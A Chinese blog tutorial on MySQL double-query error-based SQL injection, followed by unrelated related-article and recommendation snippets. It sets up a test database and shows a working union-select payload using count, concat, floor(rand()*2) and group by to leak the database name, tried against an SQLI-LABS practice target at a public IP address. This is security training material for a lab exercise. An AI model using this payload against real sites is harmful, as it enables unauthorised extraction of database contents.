一、基础知识  

  开始讲解MYSQL双查询错误之前,我们先了解一下双查询语句以及需要使用到的几个数据库函数和GROUP BY语句

  1. 双查询语句

    先了解一下什么是子查询,子查询就是嵌入第一层select语句中的select语句,比如:

SELECT * FROM score WHERE even_id IN (SELECT even_id FROM grade_event WHERE category = 'T');

功能:该语句实现的是找出与考试类别('T')相对应的所有考试事件行的ID,然后利用它们来查找那些考试的成绩

         双查询语句就是此类使用了两个select的查询语句

   2. 数据库函数和GROUP BY语句

    1)rand() --- 随机数生成函数

    2)floor() --- 向下取整函数

    3)concat()  --- 字符串连接函数

    4)count() --- 统计函数

    5)group by --- 给出分组条件

二、环境搭建

(1)创建数据库
create database injection;
(2)创建表
create table user (
id int,
name varchar(15)
);
(3)往表中插入3条数据
insert into user value(1,'mike');
insert into user value(2,'anna');
insert into user value(3,'andy'); 数据库版本:mysql-5.7.27

三、查询操作

  1. SQL语句

select count(*), concat((select database()), floor(rand()*2)) as a from user group by a;

  2. 执行情况

  3. 操作结果

   可以看到在第二次执行我们的SQL语句时发生了错误,从错误提示中我们获知了数据库的名字:injection.

四、靶场测试

  下面我们利用SQLI-LABS这个SQL注入靶场做一次利用SQL双查询错误进行注入攻击,地址如下:

              http://43.247.91.228:84/Less-5/

  在上面的网址后加入:

?id=1‘ union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

  也许是运气好,第一次执行就得到了想要的结果,如下:

  从上图中可以看出,我们已经得到了数据库的名字:security. 接下来可以一步一步构造要注入的SQL语句获取信息,在下

  一篇讲解双查询错误原理后,会讲解如何构造注入语句来获取数据库信息.

MYSQL双查询错误1的更多相关文章

  1. MYSQL双查询错误2

    一.关键点 MYSQL双查询错误之所以产生,有两个关键点: (1)SQL语句中使用GROUP BY语句时会生成临时表: (2)RAND()在查询和存储时生成的随机数有可能不同. 补充:======== ...

  2. MySQL 子查询(三) 派生表、子查询错误

    From MySQL 5.7 ref:13.2.10.8 Derived Tables 八.派生表 派生表是一个表达式,用于在一个查询的FROM子句的范围内生成表. 例如,在一个SELECT查询的FR ...

  3. 利用Keepalived+mysql构建高可用MySQL双主自动切转

    转载:http://www.it300.com/index.php/article-15266.html 关于MySQL-HA,目前有多种解决方案,比如heartbeat.drbd.mmm.共享存储, ...

  4. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  5. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  6. Mysql双主加Keepalived+读写分离

    一.MySQL于keepalived简介** 前言: 在企业中,数据库高可用一直是企业的重中之重,中小企业很多都是使用mysql主从方案,一主多从,读写分离等,但是单主存在单点故障,从库切换成主库需要 ...

  7. 使用Keepalived实现MySQL双主高可用

    MySQL双主配置 环境准备: OS: CentOS7 master:192.168.1.10 backup:192.168.1.20 VIP:192.168.1.30 一.安装MySQL数据库. 在 ...

  8. 基于keepalived搭建mysql双主高可用

    目录 概述 环境准备 keepalived搭建 mysql搭建 mysql双主搭建 mysql双主高可用搭建 概述 传统(不借助中间件)的数据库主从搭建,如果主节点挂掉了,从节点只能读取无法写入,只能 ...

  9. 一个月后,我们又从 MySQL 双主切换成了主 - 从!

    这是悟空的第 157 篇原创文章 官网:www.passjava.cn 你好,我是悟空. 一.遇到的坑 一个月前,我们在测试环境部署了一套 MySQL 高可用架构,也就是 MySQL 双主 + Kee ...

随机推荐

  1. MS yc

    # word - operate标题栏 菜单栏 工具栏 页面 状态栏 字体阴影 背景色 着重号 项目符号 数字编码 格式刷

  2. Mapper-元素和属性

    Mapper.xml文件内部的元素和属性     parameterType(输入类型) §  传递简单类型 §  使用#{}占位符,或者${}进行sql拼接, #{}括号中的值可以任意, ${}括号 ...

  3. 53最大子序和.py

    题目:给定一个整数数组 nums ,找到一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和. 来源:https://leetcode-cn.com/problems/maximum-s ...

  4. python3爬取百度知道的问答并存入数据库(MySQL)

    一.链接分析: 以"Linux"为搜索的关键字为例: 首页的链接为:https://zhidao.baidu.com/search?lm=0&rn=10&pn=0& ...

  5. python面试的100题(5)

    5.现有字典 d= {'a':24,'g':52,'i':12,'k':33}请按value值进行排序? sorted(d.items(),key=lambda x:x[1]) sorted函数 对由 ...

  6. 在Linux系统下安装jdk并配置环境变量

    本文主要介绍的是如何是Linux环境下安装JDK的,因为Linux环境下,很多时候也离不开Java的,下面笔者就和大家一起分享如何jdk1.8的过程吧. 1.安装环境 操作系统:CentOS 07 6 ...

  7. Oracle中行转列,列转行pivot的用法

    测试数据准备 --建表 --drop table SalesList; create table SalesList( keHu ), --客户 shangPin ), --商品名称 salesNum ...

  8. [CF]Round510

    由于我的codeforces的帐号登不上,所以我错过了这场比赛,只好赛后再抄题解自己做. A Benches 最大的情况就是所有人都挤在那个人最多的长椅上,最小的情况是所有人尽量平均的坐. #incl ...

  9. MySQL导入含有中文字段(内容)CSV文件乱码解决方法

    特别的注意:一般的CSV文件并不是UTF-8编码,而是10008(MAC-Simplified Chinese GB 2312),所以再通过Navicat导入数据的时候需要指定的编码格式是10008( ...

  10. 【网易官方】极客战记(codecombat)攻略-地牢-恐惧之门

    关卡连接: https://codecombat.163.com/play/level/dread-door 恐惧之门后藏满宝藏 简介: while-true 循环可以使用任何方法,如: while ...